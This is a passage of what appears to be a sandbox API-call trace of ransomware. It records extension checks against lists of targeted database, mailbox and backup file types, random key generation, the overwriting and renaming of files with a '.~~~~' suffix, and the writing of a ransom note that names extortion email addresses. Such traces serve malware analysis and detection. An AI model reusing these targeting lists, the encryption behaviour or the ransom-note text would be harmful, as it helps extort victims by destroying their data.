	[0082.013] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.013] CloseHandle (hObject=0x124) returned 1
	[0082.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0082.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.~~~~")) returned 1
	[0082.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0082.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.014] GetLastError () returned 0x0
	[0082.015] RtlWakeConditionVariable () returned 0x365f70
	[0082.015] GetCurrentThreadId () returned 0xaf0
	[0082.015] GetCurrentThreadId () returned 0xaf0
	[0082.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0082.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc4a8 | out: hHeap=0x300000) returned 1
	[0082.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33a8 | out: hHeap=0x300000) returned 1
	[0082.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc4a8
	[0082.015] lstrlenW (lpString=".scr") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".scr") returned 0x0
	[0082.015] lstrlenW (lpString=".cmd") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".cmd") returned 0x0
	[0082.015] lstrlenW (lpString=".dll") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dll") returned 0x0
	[0082.015] lstrlenW (lpString=".bat") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".bat") returned 0x0
	[0082.015] lstrlenW (lpString=".cpl") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".cpl") returned 0x0
	[0082.015] lstrlenW (lpString=".sys") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".sys") returned 0x0
	[0082.015] lstrlenW (lpString=".msc") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".msc") returned 0x0
	[0082.015] lstrlenW (lpString=".com") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".com") returned 0x0
	[0082.015] lstrlenW (lpString=".lnk") returned 4
	[0082.015] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".lnk") returned 0x0
	[0082.016] lstrlenW (lpString=".msp") returned 4
	[0082.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".msp") returned 0x0
	[0082.016] lstrlenW (lpString=".pif") returned 4
	[0082.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".pif") returned 0x0
	[0082.016] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.016] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch="msp\r\n.pif") returned 0x0
	[0082.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.019] lstrlenW (lpString=".sqb") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".sqb") returned 0x0
	[0082.019] lstrlenW (lpString=".ost") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".ost") returned 0x0
	[0082.019] lstrlenW (lpString=".txt") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".txt") returned 0x0
	[0082.019] lstrlenW (lpString=".mdt") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".mdt") returned 0x0
	[0082.019] lstrlenW (lpString=".BDB") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".BDB") returned 0x0
	[0082.019] lstrlenW (lpString=".eql") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".eql") returned 0x0
	[0082.019] lstrlenW (lpString=".DBF") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DBF") returned 0x0
	[0082.019] lstrlenW (lpString=".EQL") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".EQL") returned 0x0
	[0082.019] lstrlenW (lpString=".FDB") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".FDB") returned 0x0
	[0082.019] lstrlenW (lpString=".EDB") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".EDB") returned 0x0
	[0082.019] lstrlenW (lpString=".DACPAC") returned 7
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DACPAC") returned 0x0
	[0082.019] lstrlenW (lpString=".VHD") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".VHD") returned 0x0
	[0082.019] lstrlenW (lpString=".DBV") returned 4
	[0082.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DBV") returned 0x0
	[0082.019] lstrlenW (lpString=".dacpac") returned 7
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dacpac") returned 0x0
	[0082.020] lstrlenW (lpString=".sdf") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".sdf") returned 0x0
	[0082.020] lstrlenW (lpString=".accdb") returned 6
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".accdb") returned 0x0
	[0082.020] lstrlenW (lpString=".DBX") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DBX") returned 0x0
	[0082.020] lstrlenW (lpString=".MDT") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".MDT") returned 0x0
	[0082.020] lstrlenW (lpString=".SQB") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".SQB") returned 0x0
	[0082.020] lstrlenW (lpString=".vhd") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".vhd") returned 0x0
	[0082.020] lstrlenW (lpString=".bac") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".bac") returned 0x0
	[0082.020] lstrlenW (lpString=".mdf") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".mdf") returned 0x0
	[0082.020] lstrlenW (lpString=".BAK") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".BAK") returned 0x0
	[0082.020] lstrlenW (lpString=".BAC") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".BAC") returned 0x0
	[0082.020] lstrlenW (lpString=".dbs") returned 4
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dbs") returned 0x0
	[0082.020] lstrlenW (lpString=".vhdx") returned 5
	[0082.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".vhdx") returned 0x0
	[0082.020] lstrlenW (lpString=".NDF") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".NDF") returned 0x0
	[0082.021] lstrlenW (lpString=".dat") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dat") returned 0x0
	[0082.021] lstrlenW (lpString=".DBS") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DBS") returned 0x0
	[0082.021] lstrlenW (lpString=".CKP") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".CKP") returned 0x0
	[0082.021] lstrlenW (lpString=".edb") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".edb") returned 0x0
	[0082.021] lstrlenW (lpString=".PST") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".PST") returned 0x0
	[0082.021] lstrlenW (lpString=".dbf") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dbf") returned 0x0
	[0082.021] lstrlenW (lpString=".SQL") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".SQL") returned 0x0
	[0082.021] lstrlenW (lpString=".pst") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".pst") returned 0x0
	[0082.021] lstrlenW (lpString=".dbv") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dbv") returned 0x0
	[0082.021] lstrlenW (lpString=".SDF") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".SDF") returned 0x0
	[0082.021] lstrlenW (lpString=".dtxs") returned 5
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dtxs") returned 0x0
	[0082.021] lstrlenW (lpString=".db3") returned 4
	[0082.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".db3") returned 0x0
	[0082.022] lstrlenW (lpString=".OST") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".OST") returned 0x0
	[0082.022] lstrlenW (lpString=".dbx") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dbx") returned 0x0
	[0082.022] lstrlenW (lpString=".DB3") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DB3") returned 0x0
	[0082.022] lstrlenW (lpString=".DAT") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DAT") returned 0x0
	[0082.022] lstrlenW (lpString=".VHDX") returned 5
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".VHDX") returned 0x0
	[0082.022] lstrlenW (lpString=".ndf") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".ndf") returned 0x0
	[0082.022] lstrlenW (lpString=".DB") returned 3
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DB") returned 0x0
	[0082.022] lstrlenW (lpString=".sql") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".sql") returned 0x0
	[0082.022] lstrlenW (lpString=".MYD") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".MYD") returned 0x0
	[0082.022] lstrlenW (lpString=".DBT") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DBT") returned 0x0
	[0082.022] lstrlenW (lpString=".ACCDB") returned 6
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".ACCDB") returned 0x0
	[0082.022] lstrlenW (lpString=".fdb") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".fdb") returned 0x0
	[0082.022] lstrlenW (lpString=".bak") returned 4
	[0082.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".bak") returned 0x0
	[0082.022] lstrlenW (lpString=".myd") returned 4
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".myd") returned 0x0
	[0082.023] lstrlenW (lpString=".DTXS") returned 5
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".DTXS") returned 0x0
	[0082.023] lstrlenW (lpString=".ckp") returned 4
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".ckp") returned 0x0
	[0082.023] lstrlenW (lpString=".dbt") returned 4
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".dbt") returned 0x0
	[0082.023] lstrlenW (lpString=".db") returned 3
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".db") returned 0x0
	[0082.023] lstrlenW (lpString=".TXT") returned 4
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".TXT") returned 0x0
	[0082.023] lstrlenW (lpString=".MDF") returned 4
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".MDF") returned 0x0
	[0082.023] lstrlenW (lpString=".bdb") returned 4
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".bdb") returned 0x0
	[0082.023] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0082.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.023] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0082.024] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.024] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0082.025] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20201471884) returned 1
	[0082.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9abe1ab0, dwHighDateTime=0x1d60e1e)) 
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a33a8
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33a8 | out: hHeap=0x300000) returned 1
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0082.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc1b0
	[0082.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.025] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.026] GetLastError () returned 0x0
	[0082.026] GetLastError () returned 0x0
	[0082.026] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.026] GetLastError () returned 0x0
	[0082.026] GetLastError () returned 0x0
	[0082.026] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.029] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.031] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.031] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.033] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.033] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.033] CloseHandle (hObject=0x124) returned 1
	[0082.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.034] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.~~~~")) returned 1
	[0082.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.034] GetLastError () returned 0x0
	[0082.034] RtlWakeConditionVariable () returned 0x365f70
	[0082.034] GetCurrentThreadId () returned 0xaf0
	[0082.035] GetCurrentThreadId () returned 0xaf0
	[0082.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0082.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc540 | out: hHeap=0x300000) returned 1
	[0082.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3370 | out: hHeap=0x300000) returned 1
	[0082.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc540
	[0082.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.037] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.037] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.038] CloseHandle (hObject=0x124) returned 1
	[0082.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc540 | out: hHeap=0x300000) returned 1
	[0082.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0082.038] RtlWakeConditionVariable () returned 0x365f70
	[0082.038] GetCurrentThreadId () returned 0xaf0
	[0082.038] GetCurrentThreadId () returned 0xaf0
	[0082.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa3b8 | out: hHeap=0x300000) returned 1
	[0082.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3808 | out: hHeap=0x300000) returned 1
	[0082.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa3b8
	[0082.039] lstrlenW (lpString=".scr") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".scr") returned 0x0
	[0082.039] lstrlenW (lpString=".cmd") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".cmd") returned 0x0
	[0082.039] lstrlenW (lpString=".dll") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dll") returned 0x0
	[0082.039] lstrlenW (lpString=".bat") returned 4
